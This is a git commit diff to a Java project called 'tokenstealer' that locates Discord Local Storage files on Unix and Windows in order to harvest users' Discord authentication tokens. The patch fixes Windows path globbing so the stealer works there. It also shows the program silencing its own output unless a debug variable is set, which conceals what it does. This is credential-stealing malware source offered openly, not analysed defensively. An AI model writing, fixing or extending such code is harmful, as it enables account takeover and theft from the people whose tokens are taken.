From fda953499614e3ef5962021170c77fc72e07d340 Mon Sep 17 00:00:00 2001 From: Roman Konrad Gräf Date: Tue, 13 Feb 2018 15:44:20 +0100 Subject: windows --- .gitignore | 1 + build.gradle | 1 + src/main/java/de/romjaki/tokenstealer/Main.java | 3 ++- src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java | 7 +++++-- 4 files changed, 9 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 38fa0a8..06d0806 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ build/ .gradle/ *.localstorage tokens.txt +tokenstealer.iml \ No newline at end of file diff --git a/build.gradle b/build.gradle index 7405842..7f2b855 100644 --- a/build.gradle +++ b/build.gradle @@ -29,6 +29,7 @@ shadowJar { } sourceCompatibility = 1.8 +targetCompatibility = 1.8 repositories { mavenCentral() diff --git a/src/main/java/de/romjaki/tokenstealer/Main.java b/src/main/java/de/romjaki/tokenstealer/Main.java index 80e0942..f52a5ef 100644 --- a/src/main/java/de/romjaki/tokenstealer/Main.java +++ b/src/main/java/de/romjaki/tokenstealer/Main.java @@ -18,10 +18,11 @@ public class Main { public void write(int i) { } }); - if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) { + if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) { System.setOut(nullStream); System.setErr(nullStream); } + System.out.println("DEBUG ACTIVATE!"); Config.load(args); if (Config.INSTANCE == null) { Builder builder = new Builder(); diff --git a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java index d595ccd..8d465db 100644 --- a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java +++ b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java @@ -12,11 +12,12 @@ import java.sql.*; import java.util.ArrayList; import java.util.Collections; import java.util.List; +import java.util.Objects; import java.util.stream.Stream; public class Stealer { private static final String UNIX_LOCALSTORAGE = "glob:" + System.getenv("HOME") + "/.config/discord*/Local Storage/*discordapp*_0.localstorage"; - private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "\\discord*\\Local Storage\\*discordapp*_0.localstorage"; + private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "/discord*/Local Storage/*discordapp*_0.localstorage"; public static void steal() { try { @@ -134,7 +135,9 @@ public class Stealer { } private static List getWindowsDiscordLocations() { - return globRecurse(WINDOWS_LOCALSTORAGE, System.getenv("APPDATA")); + + return globRecurse(WINDOWS_LOCALSTORAGE.replace("\\", "/"), + System.getenv("APPDATA").replace("\\", "/")); } private static List getUnixDiscordLocations() { -- cgit